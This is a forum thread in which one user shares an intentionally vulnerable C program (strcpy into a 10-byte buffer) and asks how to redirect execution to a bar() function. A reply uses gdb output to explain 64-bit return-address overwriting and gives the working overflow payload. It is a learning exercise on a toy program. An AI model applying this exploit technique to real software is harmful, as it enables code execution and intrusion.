[Saegon]

so i have the following code

Code

#include <string.h>
#include <stdio.h>

void foo(const char* input)
{
    char buf[10];

    printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n");

    strcpy(buf, input);
    printf("%s\n", buf);

    printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
}

void bar(void)
{
    printf("Augh! I've been hacked!\n");
}

int main(int argc, char* argv[])
{
    //Blatant cheating to make life easier on myself
    printf("Address of foo = %p\n", foo);
    printf("Address of bar = %p\n", bar);
    if (argc != 2)
{
      printf("Please supply a string as an argument!\n");
      return -1;
    }
foo(argv[1]);
    return 0;
}

and the goal is to execute bar();
i supplied the following input

Code

./overflow `python -c 'print  "a"*16'`

to get the following output

Code

foo address: 0x40059c
bar address: 0x4005e7

0x7f64ced1c000
0x7f64ceafbdf0
0x400769
0x1
0x1
0x400748
0x7fff9cd6370b
0x7f64ceb0e310
0x7f64ced211c8
0x7fff9cd623d0

aaaaaa

0x7f64ced1c000
0x7f64ceafbdf0
0x7f64ce844780
0x7f64ced1c010
0x7f64ced02700
0x400748
0x7fff9cd6370b
0x6161616161616161
0x6161616161616161
0x7fff9cd62300

So all i need to do is append the address of bar in reverse to the string that i supplied right?
I tried this, but it didnt work.

Code

./overflow `python -c 'print  "a"*16 + "\xe7\x05\x40"'`

Please help I dont know how to do this.

[Zapchast]

Your problem is, you don't have control over RIP. And here is why.

In gdb:

Code

run `python -c 'print "A" * 16 + "\xe7\x05\x40"'`

Code

Program received signal SIGSEGV, Segmentation fault.
0x000000400657 in main ()
(gdb) i r
rax      0x0    0
rbx      0x0    0
rcx      0x71    113
rdx      0x7ffff7dd87a0    140737351878560
rsi      0x7fffff8e    2147483534
rdi      0x0    0
rbp      0x7fff004005e7    0x7fff004005e7
rsp      0x7ffffffe3f0    0x7ffffffe3f0
r8      0x6    6
r9      0x7ffff7a7e9fa    140737348364794
r10      0x7ffff7dd56a0    140737351866016
r11      0x246    582
r12      0x4004a0    4195488
r13      0x7ffffffe4e0    140737488348384
r14      0x0    0
r15      0x0    0
rip      0x400657    0x400657 <main+102>
eflags      0x10206    [ PF IF RF ]
cs      0x33    51
ss      0x2b    43
ds      0x0    0
es      0x0    0
fs      0x0    0
gs      0x0    0

This is, how your registers and return address looks, after your payload. Buffer is full of your junk, that's okay, but see, what you are overwriting - saved frame pointer.

rbp 0x7fff004005e7 0x7fff004005e7

4005e7 = "\xe7\x05\x40"

Don't forget, you are doing it on 64bit system and the maximum address size is 0x00007FFFFFF. It mean, when you'll try to overwrite RIP with a non-canonical address, for example 0x4141414141414141, it will causes, that processor raise an exception. For this reason you have to modify your address into 0x0000414141414141.

In practice it mean.. (run in gdb):

Code

run `python -c 'print "A" * 16 + "B" * 8 + "C" * 8'`

.. that this wont work.

Because:

Code

Program received signal SIGSEGV, Segmentation fault.
0x0000004005e0 in foo ()

rbp      0x4242424242424242    0x4242424242424242
rip      0x4005e0    0x4005e0 <foo+74>

That's what I've described above.

Now, I'm sure, you know what to do right now.

Code

run `python -c 'print "A" * 16 + "B" * 8 + "C" * 6'`

Code

Program received signal SIGSEGV, Segmentation fault.
0x0000434343434343 in ?? ()

rbp      0x4242424242424242    0x4242424242424242
rip      0x434343434343    0x434343434343

Once you know all of this info, you should are able to call bar() function properly.

Code

./overflow `python -c 'print "A" * 16 + "B" * 8 + "\xe7\x05\x40"'`

And.. Bingo!

Code

Address of foo = 0x40059c
Address of bar = 0x4005e7
My stack looks like:
...
..

AAAAAABBBBBB�@
Now the stack looks like:
...
..

Augh! I've been hacked!
Segmentation fault

I'd recommend to you check for some papers about exploiting buffer overflow on 64bit systems.
Honestly, it's not too different from 32bit, but there are some differences about which you should
already know. One of these is for example maximum address size. Have been provided additional
registers R8 - R15 and so on.

Some of these, you may find very helpful:
Spoiler (Click to View)
- exploit-db.com/papers/24085/ -- Highly recommended this one!
- blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/
- exploit-db.com/docs/33698.pdf